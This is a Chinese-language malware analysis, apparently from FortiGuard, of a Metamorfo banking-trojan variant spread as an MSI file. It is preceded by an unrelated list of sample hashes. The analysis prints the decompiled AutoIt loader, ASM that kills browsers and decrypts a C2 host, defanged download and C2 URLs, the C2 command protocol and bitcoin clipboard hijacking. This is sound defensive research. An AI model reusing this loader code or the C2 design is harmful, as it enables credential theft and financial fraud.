4ff9bfde5b5d3614e6aa753cacc68d26c12601b88e61e03e4727ee6d9fe3cdc2

cffda37453e1a1389840ed6ebaef1b0d

c9f6ba5368760bf384399c9fd6b4f33185e7d0b6ea258909d7516f41a0821056

dc0e1e4ec757a777a4d4cc92a8d9ef33

ac7e622e0d1d518f1b002d514c348a60f7a7e7885192e28626808a7b9228eab6

e5c7e82670372e3cf8e8cab2c1e6bc17

eba3c07155c47a47ee4d9b5201f47a9473255f4d7a6590b5c4e7b6e9fc533c08

f93062f6271f20649e61a09c501c6c92

3f4f546fba4f1e2ee4b32193abcaaa207efe8a767580ab92e546d75a7e978a0b

MINEBRIDGE/MINEDOOR恶意样本:

05432fc4145d56030f6dd6259020d16c

182ccc7f2d703ad732ffee0e1d9ae4ae5cf6b8817cc33fd44f203d31868b1e97

0be9911c5be7e6dfeaeca0a7277d432b

65ead629a55e953b31668aac3bd373e229c45eb1871d8466f278f39ebcd5d26b

0dd556bf03ecb42bf87d5ea7ce8efafe

48f6810e50d08c2631f63aae307a7724dba830430f5edd4b90b4b6a5b3c3ca85

15edac65d5b5ed6c27a8ac983d5b97f6

03ff2b3067aa73ecd8830b6b0ea4f7cfa1c7476452b26227fb433265e7206525

1e9c836f997ddcbd13de35a0264cf9f1

23da418912119a1358c9a1a4671ba60c396fff4c4de225fe6a225330147549a7

21aa1066f102324ccc4697193be83741

86d839e1d741445f194965eee60d18bd292bec73e4889089e6caf9877581db12

22b7ddf4983d6e6d84a4978f96bc2a82

fc39cb08cae90c661e00718e2a0051b5de3dcb7cddde919b9ffd2d79bf923d1f

2333fbadeea558e57ac15e51d55b041c

57671d5154e707da0ee6139485f45a50fa9221852ebb65781d45a2660da7d0cb

2b9961f31e0015cbcb276d43b05e4434

e41b89869c2b510c88acd1ed9fd4a6dfe89222a81c6c1241a69af3b7f812f712

2c3cb2132951b63036124dec06fd84a8

b6dbb902125e7bf6f6701b654cbff4abaf2e853441cf34045ac19eff5ed8ce84

4de9d6073a63a26180a5d8dcaffb9e81

7b1d4774176976ffcb2075889557f91a43c05fb13f3bc262bbaec4d7a0a827e6

505ff4b9ef2b619305d7973869cd1d2b

abb05ba50f45742025dd4ebff2310325783da00fb7bc885783e60a88c5157268

52d6654fe3ac78661689237a149a710b

d6a0e62fe53116c9b5bccd2a584381e2ca86e35490d809ce1900603d5e6b53eb

53e044cd7cea2a6239d8411b8befb4b7

6e76d648d446e6a70acdd491f04c52d17f9f0e1ef34890c6628c4f48725b47c8

5624c985228288c73317f2fa1be66f32

99559a5f06b0279ed893d2799b735dae450a620f6cea2ea58426d8b67d598add

598940779363d9f4203fbfe158d6829b

1358b0ccae9dbb493228dc94eb5722c8d34c12227a438766be83df8c1c92a621

60bdea2c493c812428a8db21b29dd402

383c86deed8797e0915acf3e0c1b6a4142c2c5ecb5d482517ed2ade4df6f36fd

681a77eba0734c0a17b02a81564ae73f

0aaa66dc983179bffdb181079f3b786b6cd587c38c67ba68b560db0bd873278a

6b7d9268c7000c651473f33d088a16bd

6e39ffecab4ca0bd7835a2e773ebfc3f6d909a0a680f898e55f85ed00728666d

6d6f50f7bba4ae0225e9754e9053edc0

ddf33eff293ffc268dfd0a33dddef97aefe9e010ec869dc22c221d197eb85740

6de77c1b4e8abaaf304b43162252f022

8f50ddc1519e587597882a6bd0667653c36a8064b56ee5ff77665db2faf24710

7004fadfa572d77e24b33d2458f023d1

cccd6b46f950caec5effdd07af339be78691974fec5f25d923932b35edb95c4a

71988460fd87b6bff8e8fc0f442c934b

8167d41ad30f5d451791878815e479965b2f5213231f26819ecaf4fcc774ab12

722981703148fa78d41abbae8857f7a2

a3070ee10dd5bcd65a45b72848c926db2602e5297641452edff66e7133cdce9c

818f7af373d1ec865d6c1b7f59dc89e5

cbe4b73c0c95c207ccde9d9bd80f541cf90cad18ba5abc3fe66a811ead1601c2

832052b0f806f44b92f6ef150573af81

e162a70a6e27fe23379d3a17a3a727d85a94b79416d81ec3b4ea80d329e96830

836125ae2bed57be93a93d18e0c600e8

0fbde653bef4642626f2996a41a15a635eb52cd31eacce133d28301b902d67df

86d60bce47c9bb6017e3da26cab50dcf

6c134908ad74dfa1468a1166e7d9244695f1ffeff68bfd4eec4b35820b542b8a

8919458aec3dcc90563579a76835fc54

aad0537924bacddd0d5872f934723e765dbb182f2804c6f594f9b051937495ec

8d7e220af48fceee515eb5e56579a709

3eefa7072344e044c0a6abb0030f3f26065bf6a86bb50ea38473dd7ac73904fb

91b8ec04d8b96b90ea406c7b98cc0ad6

0520e68a4b73c3b41e566cf07be54e1f1cb59c59c303fe3390e0687f9af1a58a

959eb0696c199cbf60ec8f12fcf0ea3c

ccb5f8734befd6ab218513e16a57679a8fb43b2732e19233ee920d379045e318

95ec5e8d87111f7f6b2585992e460b52

3f8e38ccf71f122b65fdc679db13e3de3bb4b4fc04b8ab6f955d02e0bca10fae

9606cf0f12d6a00716984b5b4fa49d7d

f4f062fd7b98365ed6db993b1da586dd43e5cdcc2f00a257086734daf88c9abb

9f7fed305c6638d0854de0f4563abd62

6c5f72ddf0262838a921107520cdc12ba8e48dbafab4a66732a350095dd48e9f

a11c0b9f3e7fedfe52b1fc0fc2d4f6d1

d35ac29ea6e064b13d56f6a534022f253cf76b98e10a7ea1cbfa086eefd64f4b

a47915a2684063003f09770ba92ccef2

7b16ce0d2443b2799e36e18f60fe0603df4383b1a392b0549c3f28159b1ca4d4

a917b2ec0ac08b5cde3678487971232a

8578bff803098bf5ca0d752d0a81f07659688a32cbfc946728e5ab0403f5c4ba

ad06205879edab65ed99ed7ff796bd09

d560f8717f4117d011f40c8880081d02d1455a41c93792e1600799d3e5ee9421

ad910001cb57e84148ef014abc61fa73

c9a6f7b0603779690c1d189850403f86608a3c5e1cd91e76fd31c4f119ae256b

b1ce55fca928cf66eaa9407246399d2c

c6214ec7909ce61d6ec3f46f5a7ec595d8cc8db48965c5baee8a346632cbe16d

b9249e9f1a92e6b3359c35a8f2a1e804

0695e5e49a297c980b96f76bf10e5540de188d6a6a162e38f475418d72a50032

bd6880fb97faceecf193a745655d4301

23840c587e4e9588b3d0795d4d76a4f3d4d5b2e665ce42dde0abcd1e0a2ba254

be2597a842a7603d7eb990a2135dab5e

6288d3de1f1aa05fa0a5f0c8eb9880d077f034fc79fc20f87cbfcc522aa803cb

cf5470bfe947739e0b4527d8adb8486a

6357fdb8f62948d489080b61caf135e6aaba32dcdb7dc49b0efafef178b3b54f

d593b7847ec5d18a7dba6c7b98d9aebf

5df3a6afb1a56fa076c6db716d5a050455158941ec962546a8799fc80ccfa573

d7ee4ffce21325dfe013b6764d0f8986

92e94482dee75261c8ebdcbb7ace382a097cca11bcdc675bbe2d7b3f67525f84

de4d7796006359d60c97a6e4977e4936

ee8ba1c5329d928d542bfa06eec2c0a3e3b97dcc20382ddbc27bc420ceaeb677

e0069cd3b5548f9fd8811adf4b24bf2e

6046d6aed3f4ee2564d6be540d46bcdc0bebce11a1ced4b9ddbfa1a41084411c

e1ea93fa74d160c67a9ff748e5254fe0

92c10ef23209e09abb17e41d67301f0e3f7d9e7ddfc7c1a66140c4986d72bee7

ea15d7944c29f944814be14b25c2c2b1

5898b41ca4f4777ad04d687f93548129ccb626d2f5e6e100b0a037c3d40a7444

f22a4abd5217fa01b56d064248ce0cc5

858b4070f8b83aa43fd6a5189a8ed226ce767a64972db893e36550a25b20be94

f3cb175e725af7f94533ecc3ff62fa12

5a5385df469459cd56f6eecbf4b41b8c75aa17220c773501eaec22731f3a41bb

f6533e09a334b9f28136711ea8e9afca

9136c36ccd0be71725e8720a6cfdbdd38d7eea3998228c69ed4b52e78ba979c4

f7daaea04b7fe4251b6b8dabb832ee3a

6abd90d718113482a5bcd36e35b4ea32c469f94fc2cfb9c1c98214efbf64c352

fb1555210d04286c7bcb73ca57e8e430

36da56815dc0c274fc8aacdfffbc4d5e500025ccd1147cad513d59b69ab9557d

概述

Metamorfo是一个恶意软件家族,该恶意软件主要针对在线金融机构的客户发动攻击。近期,FortiGuard实验室捕获了两种不同的Metamorfo变种。针对其中的第一个变种,我们此前已经发布了分析文章,这个变种仅针对巴西金融机构的客户发动攻击。

我们发现的第二个Metamorfo变种则针对多个国家金融机构的客户发动攻击。在本篇文章中,我们将详细介绍新变种是如何感染受害者的计算机,以及它如何在受害者的计算机上执行操作,包括如何收集数据、如何与其命令和控制(C&C)服务器进行通信,最后将介绍它所支持的C&C命令。

恶意样本分析

与早些时候的变种一样,我们这次捕获到的是一个名为“view-(AVISO)2020.msi”的MSI文件,该文件通过ZIP压缩包的形式进行传播。在此前的分析中,我们发现当用户在Windows操作系统中双击该MSI文件时,MSI文件将由MsiExec.exe自动解析和执行。

通过分析最新的MSI文件,我们发现在其中也包含一个与早期版本名称相同的流“!_StringData”,在其中包含一段JavaScript代码,其中混入了大量垃圾字符串。在提取代码并去掉混淆的内容之后,我们可以清楚看到这段代码的作用。下图是代码的一个片段,展现了恶意样本所使用的JavaScript代码的关键功能。

从流“!_StringData”中提取的JavaScript代码片段:

1.png

在这段代码中,从URL“hxxp[:]//www[.]chmsc[.]edu[.]ph/library/modules/down/op57.lts”下载文件,这实际上是包含3个文件的ZIP压缩包。在下载完成后,会将其解压缩到“C:\”路径下新创建的随机字符串文件夹(在我们的示例中,创建的文件夹名称为“RrRbiebL”)。除此之外,3个解压缩后的文件均使用随机字符串进行重命名,在我们的示例中分别为“cMejBlQe.exe”、“M6WnYxAh”和“YvSVUyps.dll”,下图展示了文件夹的详细信息。

随机命名的文件夹中,包含3个解压缩后的文件:

2.png

这三个文件将会在命令行中执行:

C:\RrRbiebL\cMejBlQe.exe   C:\RrRbiebL\M6WnYxAh C:\RrRbiebL\YvSVUyps.dll

我们在上面的截图中可能已经注意到,这些文件会将其自身添加到系统注册表的auto-run组中。下面是系统注册表中auto-run条目的截图,其中的值就是上面的命令行。

添加到系统注册表中的auto-run组:

3.png

AutoIt脚本运行Metamorfo

其中,“C:\RrRbiebL\cMejBlQe.exe”命令带有两个参数,分别是“C:\RrRbiebL\M6WnYxAh”和“C:\RrRbiebL\YvSVUyps.dll”。经过分析,我们发现文件“cMejBlQe.exe”是一个AutoIt脚本执行程序,其原始名称为“AutoIt3.exe”。文件“M6WnYxAh”是一个经过编译的二进制AutoIt脚本文件(即“.A3X”文件),而文件“YvSVUyps.dll”中包含Metamorfo恶意软件变种的主体。

此前,我们已经观察到AutoIt被许多恶意软件家族滥用,以实现恶意目的。攻击者之所以使用AutoIt,其原因之一是为了绕过反病毒检测。

我们对“M6WnYxAh”文件进行反编译,得到其源代码如下:

SLEEP(2000)
_SLEEP(2000)
SLEEP(2000)
_SLEEP(2000)
GLOBAL $NPYVKYZFH1Z9T8E5CL48UGNZ878HTHO91S63AH=$CMDLINE[1]
GLOBAL $KPH98S477U6K32TXPN3F8UBVSHZ=DLLOPEN($NPYVKYZFH1Z9T8E5CL48UGNZ878HTHO91S63AH)
DLLCALL($KPH98S477U6K32TXPN3F8UBVSHZ,"Int","B1OWOEFK3SBYS0ETX4XXHRNV7SZGYFTU")
FUNC _SLEEP($IDELAY)
            DLLCALL("Kernel32.dll","none","Sleep","dword",$IDELAY)
ENDFUNC

首先,会暂停8秒。然后,从路径$CMDLINE[1]中加载DLL文件,该路径是命令行命令中的最后一个参数,即“C:\RrRbiebL\YvSVUyps.dll”。随后,继续调用名为“B1OWOEFK3SBYS0ETX4XXHRNV7SZGYFTU”的DLL文件的导出函数。随后,由DLL代码控制受感染的计算机。

Metamorfo恶意软件主体分析

现在,我们来深入分析文件“YvSVUyps.dll”。从下图中,我们可以看到DLL文件使用了加壳工具“VMProtect v3.00-3.3.1”。VMProtect是一个非常强大的加壳程序,在目标进程运行时支持动态代码保护。这给安全分析人员带来了巨大的挑战,举例来说,所有API地址都被隐藏,并且在调用之前动态计算。

使用分析工具分析YvSVUyps.dll:

4.png

在运行后,我们可以从内存中转储还原真实的代码。通过分析其ASM代码,我们发现它时使用Borland Delphi进行编译的,这一点和之前发现的其他变种一样。

接下来,我们分析恶意软件在受害者系统上执行的主要任务。

再经过VMProtect恢复代码后,将调用FormCreate()函数,我们可以将其视为是Main()函数。

[...]
022AE2BA     lea     edx, [ebp+var_30]
022AE2BD     mov     eax, offset a015f924af437_0
022AE2C2     call    decrypt_fun    
022AE2C7     mov     edx, [ebp+var_30]
022AE2CA     lea     eax, [ebp+var_2C]
022AE2CD     call    str_copy_Ascii_Unicode
022AE2D2     mov     edx, [ebp+var_2C]     ; de=>  "iexplore.exe"
022AE2D5     mov     eax, [ebp+var_4]
022AE2D8     call    _TerminateProcess
022AE2DD     lea     edx, [ebp+var_38]
022AE2E0     mov     eax, offset a5af5093ad16e_0
022AE2E5     call    decrypt_fun    
022AE2EA     mov     edx, [ebp+var_38]
022AE2ED     lea     eax, [ebp+var_34]
022AE2F0     call    str_copy_Ascii_Unicode ;
022AE2F5     mov     edx, [ebp+var_34]    ; de=> "firefox.exe"
022AE2F8     mov     eax, [ebp+var_4]
022AE2FB     call    _TerminateProcess
022AE300     lea     edx, [ebp+var_40]
022AE303     mov     eax, offset aA233cd013efd_0
022AE308     call    decrypt_fun    
022AE30D     mov     edx, [ebp+var_40]
022AE310     lea     eax, [ebp+var_3C]
022AE313     call    str_copy_Ascii_Unicode ;
022AE318     mov     edx, [ebp+var_3C]    ; de=> "chrome.exe"
022AE31B     mov     eax, [ebp+var_4]
022AE31E     call    _TerminateProcess
022AE323     lea     edx, [ebp+var_48]
022AE326     mov     eax, offset aC9023de11adf_0
022AE32B     call    decrypt_fun    
022AE330     mov     edx, [ebp+var_48]
022AE333     lea     eax, [ebp+var_44]
022AE336     call    str_copy_Ascii_Unicode ;
022AE33B     mov     edx, [ebp+var_44]     ; de=> "microsoftedge.exe"
022AE33E     mov     eax, [ebp+var_4]
022AE341     call    _TerminateProcess
022AE346     lea     edx, [ebp+var_50]
022AE349     mov     eax, offset a84c66187b74f_0
022AE34E     call    decrypt_fun    
022AE353     mov     edx, [ebp+var_50]
022AE356     lea     eax, [ebp+var_4C]
022AE359     call    str_copy_Ascii_Unicode ;
022AE35E     mov     edx, [ebp+var_4C]    ; de=> "opera.exe"
022AE361     mov     eax, [ebp+var_4]
022AE364     call    _TerminateProcess
[...]

上述ASM代码中,调用了一个函数来解密进程名称字符串,然后调用函数_TerminateProcess()在进程列表中终止所有匹配的进程。

然后,代码会修改特定的几个注册表项值,以禁用IE浏览器的部分功能,例如:自动完成、自动建议等。具体而言,其禁用的项目包括“HKCU\Software\Microsoft\Internet Explorer\Main”下的“Use FormSuggest”、“FormSuggest Passwords”和“FormSuggest PW Ask”,以及“HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete”下的“AutoSuggest”。

为什么恶意软件需要终止浏览器进程,并禁用其自动完成和自动建议功能呢?原因在于,这样的操作将强制受害者在没有自动完成功能的情况下手动输入信息,包括完整的URL,以及浏览器中的登录用户名、密码等信息。这样一来,恶意软件的键盘记录器就可以记录受害者输入的大量内容。

上述代码还会从受害者的系统中收集诸如操作系统版本、计算机名称、已安装的杀毒软件名称等信息。

如果是第一次在受感染的计算机上执行(根据标志文件是否存在来判断),将会向命令和控制(C&C)服务器发送一个POST数据包,通知该计算机已经被感染。下图展示了该数据包的详细信息。

发送到C&C服务器的POST数据包截图:

5.png

先前,已经对URL“hxxp[:]//escapuliu[.]com/happynewyear/EYHS2BZM31D225Q.php”进行解密,该数据包的正文中包含受害者的系统信息。其中的一些值经过Base64编码。在进行解码后,数据如下所示:

vv=OP57--06-01&vw=&mods=&uname=*********V-PC&cname=N-96&os=Windows 7 Ultimate6.17601-32&is=&iss=IE.AssocFile.HTM&iav= microsoft security essentials
“vv=OP57--06-01” is the version information of Metamorfo.
“mods=” records whether IBM Trusteer Rapport is running, which is used to protect users from malware.
“uname=*********V-PC” is the victim’s computer name.
“cname=N-96” is a value read out from the system registry.
“os=Windows 7 Ultimate6.17601-32” contains the infected OS version and platform.
“iss=IE.AssocFile.HTM” indicates the victim’s default browser, which in this case is IE.
“iav= microsoft security essentials” is a list of AV software that the victim has installed.

Timer函数

与此前的变种一样,这个变种仍然使用Timer执行其任务。在FormCreate()函数的末尾,将启动两个计时器。其中,第一个计时器用于监视系统剪贴板中的比特币钱包地址,第二个计时器用于检测被感染的系统是否正在访问金融机构的网站。我们将详细分析这两个函数。

(1)比特币地址Timer函数

该函数将不断从系统剪贴板中接收数据,并确认其中是否包含有效的比特币钱包地址。如果存在,则使用攻击者的钱包地址覆盖系统剪贴板中的内容。

调用SetClipboardData() API覆盖比特币钱包地址:

6.png

上图展示了对SetClipboardData()函数的调用,其中的第二个参数就是攻击者的钱包地址(即:163McXwBrc9S7JzbgegzVuw7QTJ9H1dQj7),用于替换系统剪贴板中的原始地址。

通常情况下,用户在进行比特币交易时都会复制粘贴钱包的地址。在这个恶意软件变种中,Metamorfo会检测并覆盖剪贴板中的目标钱包地址。这样一来,受害者在不知不觉中,就会将比特币转移到攻击者的比特币钱包地址(163McXwBrc9S7JzbgegzVuw7QTJ9H1dQj7)。

(2)金融机构Timer函数

随后,将调用EnumWindows() API函数遍历受害者操作系统中的所有窗口。其中,EnumFunc()回调函数会收集所有窗口标题,并添加14H长度的随机字符串前缀。添加前缀后的窗口标题类似于“{14H长度的随机字符串}+窗口标题”。在进行修改后的窗口标题,会添加到字符串列表框空间中。在这里,还可以收集受害者可能在浏览器中访问的在线银行网站页面标题。

然后在Timer函数中,从字符串列表框控件中逐一读取修改后的窗口标题,并与目标金融机构的关键字进行字符串匹配。其中,包含32个关键字,对应包括美国、加拿大、秘鲁、智利、西班牙、巴西、厄瓜多尔、墨西哥等国家的二十多个金融机构。出于安全考虑,我在本文中将不会提到恶意软件所针对的特定关键字或特定金融机构。

在确定窗口标题与其中一个目标金融机构的关键字匹配之后,将连接到C&C服务器,该服务器与前文所提到的主机不同。

下面是解密C&C服务器主机字符串和端口号的代码段,经过解密后,得到网址“ssl[.]teamo[.]life”和端口“8350”。

[...]
022965F7  lea  eax, [ebp+var_18]
022965FA  mov  edx, ds:dword_235CE2C   ;encrypted host string
02296600  mov  ecx, 0
02296605  call  _WideCharToMultiByte
0229660A  mov  eax, [ebp+var_18]
0229660D  lea  edx, [ebp+var_14]
02296610  call  decrypt_fun   ; de=> "ssl.teamo.life"
02296615  mov  edx, [ebp+var_14]
02296618  lea  eax, [ebp+var_10]
0229661B  call  str_Ascii_Unicode
02296620  mov  edx, [ebp+var_10]
02296623  lea  ecx, [ebp+var_C]
02296626  mov  eax, [ebp+var_4]
02296629  call  sub_2296470  ; gethostbyname
0229662E  mov  edx, [ebp+var_C]
02296631  mov  eax, [ebp+var_4]
02296634  mov  eax, [eax+3DCh]
0229663A  call  sub_20BF29C
0229663F  lea  eax, [ebp+var_24]
02296642  mov  edx, ds:dword_235CE30  ;encrypted port number
02296648  mov  ecx, 0
0229664D  call  _WideCharToMultiByte
02296652  mov   eax, [ebp+var_24]
02296655  lea   edx, [ebp+var_20]
02296658  call  decrypt_fun   ;; de=> "8350"
0229665D  mov   edx, [ebp+var_20]
[...]

C&C服务器的命令和控制

在与C&C服务器建立连接后,客户端将向服务器发送命令“ < | QFUNHSNXU | >”,并等待控制命令返回以在受害者的系统上执行更多功能。

下面是Metamorfo恶意软件与其C&C服务器之间的通信示例:

< | QFUNHSNXU | >< | PT | >< | tksN | > OP57--06-01-N-96 < | > 32-Windows 7 Ultimate6.17601 < | > ********-PC-微软安全必备软件-L4N4c10n < | > *** *****-PC < < | 2 // && ikILVm9ZtX!L4N4c10n

Metamorfo将“ < | QFUNHSNXU | >”发送到服务器,然后从服务器接收到控制命令“ < | PT | >”,并执行了该命令的代码。如您所见,它随后发送了响应包“ < | tksN | >”,其中包含Metamorfo版本,系统版本,平台信息,受害者的计算机名称,任何已安装的AV软件,匹配的金融机构名称的标识符字符串。 (“ L4N4c10n”),依此类推。 

注意:在数据包中,符号“ < | >”是一种分隔符,而“ < < |”是结束符号。

与以前的变体一样,此Metamorfo客户端使用SocketRead()函数来接收和处理来自C&C服务器的此套接字的控制命令。 

我们所分析的Metamorfo变种共支持119个控制命令,包括:

“ < | YuiqkwSgot | >”,“ < | PT | >”,“ < | VOTM | >”,“ < | Gpsxi | >”,“ < | ZKXAKYWQKEHUGZJ | >”,“ < | lozyw | >”,“ <  | SuaykRJ | >“,” < | SuaykJI | >“,” < | ztUjzwtR |>“,” < | IXjzwtR | >“,” < |文件夹| >“,” < |文件| >“,” < |下载文件| >“,” < | UploadFile | >“,” dkxqdpdv“,” fuobhjh“,” pyfsqtpofn“,” camarinho“,” beijada“,” cidadao“,” dlulztody“,” janainaa“,” nnnaewhwf23nvcxx“,” vanuza “,” vanessa“,” carmena“,” petereca“,” jpevtpjevtjte“,” djqduidxorv“,” dulhkqzprf“,” vaidamole“,” vadiadaum“,”lzyxyzoxzdy”,“ baraomagao”,“ IbqJxbxma”,“ Lmatqo”,“ puplY”,“ hajluvjlY”,“ wlylajhyhJ”,“ gsxuymrle”,“ sjemwbgonehjexhjjexhjxh”,“ phjdqdd”,“ phjdqdd” ,“ JtxyXLWA”,“ urpdzchlrdi”,“ JXyhylipS”,“ ndsoiu43098s”,“ snis4duo3098”,“ ki74yfhsag”,“ KxvoJJ”,“ Bwilmakx”,“ semvergonha”,“ mh42jkrwibA3”,“ Bwiqbi”,“ kdaf4w84fds”,“ iru4837fbcz”,“ apqi398wjx”,“ Bwiaqk”,“ mfklsjfk3049jsfd”,“ Bwikmn”,“ vpupqbd”,“ ulrvAkhyI”,“ posseco”,“ jpwhslAz”ihAhaP”, “dsefsdfds342342”, “massonaria”, “kldiu4324987dyyds”, “iejdskdjkfl3426232hdshdhs”, “maconha”, “cnirhx87ds”, “b9f8vnh3f7dhvsja4”, “ihAwpMhauhW”, “nhfjds98743hvfavb”, “mfki73t1dav”, “fodiufjdo834yfdgf”, “f9ksa8iuvdo” ,“ miwey82fqq”,“ oropeiru23”,“ kmcjds09498”,“ ewaewqrtrrmwoa”,“ m94ufasjczbal”,“ ulzcecrvAkhocpgyI”,“ hslfasreweyI”,“ perebao”,“ japones3fadhhh”,“ hk”,“ k”,“ bisurdor”,“ curvaduru”,“ vvjpwulw”,“ bosteiro”,“ lkfjasofu4343849”,“ fkvoiudas98”,“ coichzbz”,“b98djzc”,“ klfjs943jfs”,“ eaqeutmn5r”,“ cracreuz”,“ guilhermina”,“ ztchrhAhaP”,“ IIzvsI”,“ HAPzvsI”,“ juventude”,“ HAUHWzvsI”,“ KHYIzvsI” ,“ hruxyoiu”,“ COZUMEL”,“ COZUMARIA”,“ LMAimwc”,“ baci83427daca”,“ daa243bi78acc”。

下面列出了主要Socket中包含的主要控制命令和功能说明。根据这些命令及对应的功能,我们可以掌握Metamorfo变种可以在受害者计算机上执行的操作。

image.png

dkxqdpdv:向受害者展示包含特定信息的消息框。

vanuza:重新启动一些Socket。

vanessa:向受害者展示虚假消息,要求输入验证码。

carmena:该命令中包含多个子命令,可以将命令数据包中指定的内容模拟受害者输入,输入到文本框中。

ev:从C&C服务器下载MSI文件并执行,该命令还可以进行恶意软件的自我更新。

djqduidxorv:重置标志文件,删除文件和相关文件夹。

baraomagao:最大化所有正在运行的浏览器(IE、Chrome和Firefox)窗口。

IbqJxbxma, hajluvjlY:设置系统任务栏可见。

Lmatqo:关闭受感染的操作系统。

puplY:重新启动受感染的操作系统。

wlylajhyhJ:通过调用PlaySoundW() API来播放“SYSTEMSTART”(系统启动)声音。

LkingWajuGhkzwu:关闭Socket,并退出Metamorfo恶意软件。

vkbAlcvtlY:运行.bat脚本以删除特定文件。

JtxyXLWA:删除.dll文件并关闭系统。

urpdzchlrdi、JXyhylipS、ndsoiu43098s、snis4duo3098、ki74yfhsag:这些命令是相关的,其功能是启动线程,然后操纵这些线程控制受害者的输入设备,包括鼠标和键盘。例如,可以组织受害者在浏览器上的鼠标操作(单击、双击、选择文本、右键单击等)。

KxvoJJ、Bwilmakx、semvergonha、mh42jkrxc3、BwiAivbi、vBiAiiwbwew、Bwiqbi:这里有超过50个命令,但在此仅列出其中的7个。这些命令可以隐藏系统任务栏和鼠标光标、显示特定控件以展示受害者信息、要求受害者输入密码等内容。一些命令还会运行Timer,以终止“Windows任务管理器”。

vpupqbd:恢复上述命令更改的所有状态。

IIzvsI:在用户配置文件的文件夹下,创建一个文件。

COZUMEL:启动线程,以在浏览器上运行按键记录器。

COZUMARIA:停止按键记录器,并将记录的数据发送到C&C服务器。

LMAimwc:关闭正在运行的浏览器,向受害者显示一条信息,随后重启受害者的系统。

以最后一个控制命令“LMAimwc”为例,该命令会关闭正在运行的浏览器,包括“Microsoft Internet Explorer”、“Google Chrome”和“Mozilla Firefox”,显示一条消息,然后重新启动受害者的操作系统。下图展示了显示的消息内容(西班牙语),其内容是:我们的页面当前正在进行安全性调整,现在暂时无法帮助你,请稍后再试。你的系统将在操作完成后重新启动。

控制命令“LMAimwc”的消息:

7.png

解决方案

可以使用安全防护产品的Web过滤、反病毒、IPS功能防护计算机免受Metamorfo变种的危害,具体如下:

使用Web过滤服务,阻断对恶意URL的访问。

使用反病毒产品,检测并删除恶意MSI文件(FortiGuard反病毒产品将其检测为“W32/Metamorfo”)。

使用入侵防护系统(IPS),检测Metamorfo恶意软件与其C&C服务器之间的恶意通信流量。

威胁指标

URL:

hxxp[:]//escapuliu[.]com/happynewyear/EYHS2BZM31D225Q.php

hxxp[:]//www[.]chmsc[.]edu[.]ph/library/modules/down/op57.lts

SHA-256样本:

[view-(AVISO)2020.msi]

EB1E5EAEA4ECC04B920BBD955C16B17F3D5AC3C580EA266FF5B9D589B8B49E0C